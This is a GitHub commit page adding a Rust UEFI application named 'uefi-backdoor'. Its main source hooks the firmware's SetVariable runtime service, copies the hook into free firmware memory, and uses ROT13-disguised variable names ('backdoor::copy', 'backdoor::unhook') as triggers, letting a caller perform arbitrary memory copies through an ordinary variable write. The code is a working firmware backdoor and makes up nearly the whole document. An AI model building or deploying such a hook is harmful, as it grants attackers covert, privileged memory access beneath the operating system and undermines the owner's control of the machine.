Skip to content

Commit

Permalink
Add code
Browse files Browse the repository at this point in the history
  • Loading branch information
cppio committed Jun 15, 2020
1 parent 37f7b77 commit d6e5750
Show file tree
Hide file tree
Showing 7 changed files with 374 additions and 10 deletions.
5 changes: 5 additions & 0 deletions .cargo/config
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
[build]
target = "x86_64-unknown-uefi"

[target.x86_64-unknown-uefi]
rustflags = ["-Ccode-model=small", "-Clink-arg=/debug:none"]
11 changes: 1 addition & 10 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,10 +1 @@
# Generated by Cargo
# will have compiled files and executables
/target/

# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock

# These are backup files generated by rustfmt
**/*.rs.bk
/target
123 changes: 123 additions & 0 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

21 changes: 21 additions & 0 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
[package]
name = "uefi-backdoor"
version = "0.1.0"
edition = "2018"

[profile.dev]
panic = "abort"

[profile.release]
codegen-units = 1
lto = true
panic = "abort"

[package.metadata.cargo-xbuild]
panic_immediate_abort = true

[dependencies]
ezhook = "0.1.0"
panic-abort = "0.3.2"
r-efi = "3.0.0"
uefi = "0.4.6"
1 change: 1 addition & 0 deletions rust-toolchain
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
nightly-2020-06-15
91 changes: 91 additions & 0 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
#![no_std]
#![no_main]
#![feature(abi_efiapi)]

extern crate panic_abort;

#[macro_use]
mod util;
use util::*;

use core::mem;
use ezhook::remote_hook;
use uefi::{prelude::*, table::boot::Tpl, Guid};

remote_hook! {
#[hook]
unsafe extern "efiapi" fn set_variable_hook(
variable_name: *const u16,
vendor_guid: *const Guid,
attributes: u32,
data_size: usize,
data: *const u8,
) -> Status {
if !variable_name.is_null() {
if eq(variable_name, &COPY_VARIABLE_NAME) {
if data_size == mem::size_of::<CopyData>() {
copy(&*(data as *const CopyData));
}

return Status::SUCCESS
}

if eq(variable_name, &UNHOOK_VARIABLE_NAME) {
toggle!();

return Status::SUCCESS
}

// TODO: store the remote location for proper unhooking
}

orig!(variable_name, vendor_guid, attributes, data_size, data)
}

unsafe fn eq(a: *const u16, b: &[u8]) -> bool {
b.iter().enumerate().all(|(n, i)| *a.add(n) == *i as u16)
}

static COPY_VARIABLE_NAME: [u8; 15] = *b"onpxqbbe::pbcl\0";

#[repr(C)]
struct CopyData {
src: *const u8,
dst: *mut u8,
count: usize,
}

unsafe fn copy(data: &CopyData) {
for i in 0..data.count {
*data.dst.add(i) = *data.src.add(i);
}
}

static UNHOOK_VARIABLE_NAME: [u8; 17] = *b"onpxqbbe::haubbx\0";
}

fn main() -> Status {
let set_variable = raw_runtime_services().set_variable;
println!("[+] set_variable = {:x}", set_variable as usize);

let region = unwrap!(region_containing(set_variable as _));
println!("[+] region = {:x}:{:x}", region.start, region.end);
let region = unsafe { range_to_slice(region) };

let location = unwrap!(search_for_contiguous(region, 0, unsafe {
set_variable_hook::len()
}));
let start = location.as_ptr() as usize;
println!("[+] location = {:x}:{:x}", start, start + location.len());

unsafe {
let hook = set_variable_hook::copy_to(location);
hook.hook(mem::transmute(set_variable));

let guard = system_table().boot_services().raise_tpl(Tpl::NOTIFY);
hook.toggle();
mem::drop(guard);
}

Status::SUCCESS
}
132 changes: 132 additions & 0 deletions src/util.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,132 @@
use core::{
mem::{self, MaybeUninit},
ops::Range,
slice,
};

use r_efi::{protocols::simple_text_output, system::RuntimeServices as RawRuntimeServices};
use uefi::{prelude::*, proto::console::text::Color, Completion};

static mut SYSTEM_TABLE: MaybeUninit<SystemTable<Boot>> = MaybeUninit::uninit();

pub fn system_table() -> &'static SystemTable<Boot> {
unsafe { &*SYSTEM_TABLE.as_ptr() }
}

pub fn raw_runtime_services() -> &'static RawRuntimeServices {
unsafe { &*(system_table().runtime_services() as *const _ as *const _) }
}

macro_rules! print {
($($arg:tt)*) => { {
use ::core::fmt::Write;
let _ = ::core::write!($crate::util::system_table().stdout(), $($arg)*);
} }
}

macro_rules! println {
($($arg:tt)*) => { {
use ::core::fmt::Write;
let _ = ::core::writeln!($crate::util::system_table().stdout(), $($arg)*);
} }
}

#[entry]
fn efi_main(_image_handle: Handle, system_table: SystemTable<Boot>) -> Status {
unsafe { SYSTEM_TABLE = MaybeUninit::new(system_table) };

main();

Status::LOAD_ERROR
}

fn main() {
let stdout = system_table().stdout();

let (foreground, background) = unsafe {
let raw_stdout = &*(stdout as *const _ as *const simple_text_output::Protocol);
let mode = &*raw_stdout.mode;
mem::transmute((
(mode.attribute & 0xF) as u8,
(mode.attribute >> 4 & 0x7) as u8,
))
};

match crate::main() {
Status::SUCCESS => {
let _ = stdout.set_color(Color::LightGreen, background);
println!("╔══════════╗");
println!("║ Success! ║");
println!("╚══════════╝");
}
status => {
let _ = stdout.set_color(Color::LightRed, background);
println!("[-] error: {:?}", status);
}
}

let _ = stdout.set_color(Color::White, background);
print!("Press any key to continue...");
let _ = stdout.set_color(foreground, background);

let stdin = system_table().stdin();
let _ = system_table()
.boot_services()
.wait_for_event(&mut [stdin.wait_for_key_event()]);
let _ = stdin.read_key();

println!();
}

macro_rules! unwrap {
($expr:expr) => {
$expr?.split().1
};
}

static mut BUFFER: [u8; 4096] = [0; 4096];

pub fn region_containing(address: usize) -> uefi::Result<Range<usize>> {
let (status, (_, descriptors)) = system_table()
.boot_services()
.memory_map(unsafe { &mut BUFFER })?
.split();

let region = descriptors
.map(|descriptor| {
let start = descriptor.phys_start as usize;
let end = start + descriptor.page_count as usize * 4096;

start..end
})
.find(|region| region.contains(&address));

match region {
Some(region) => Ok(Completion::new(status, region)),
None => Err(Status::NOT_FOUND.into()),
}
}

pub unsafe fn range_to_slice(range: Range<usize>) -> &'static mut [u8] {
slice::from_raw_parts_mut(range.start as _, range.len())
}

pub fn search_for_contiguous(slice: &mut [u8], item: u8, count: usize) -> uefi::Result<&mut [u8]> {
let mut current = 0;

for (n, i) in slice.iter().enumerate() {
if *i == item {
current += 1;

if current == count {
let slice = &mut slice[n + 1 - count..n + 1];

return Ok(slice.into());
}
} else if current != 0 {
current = 0;
}
}

Err(Status::NOT_FOUND.into())
}

0 comments on commit d6e5750

Please sign in to comment.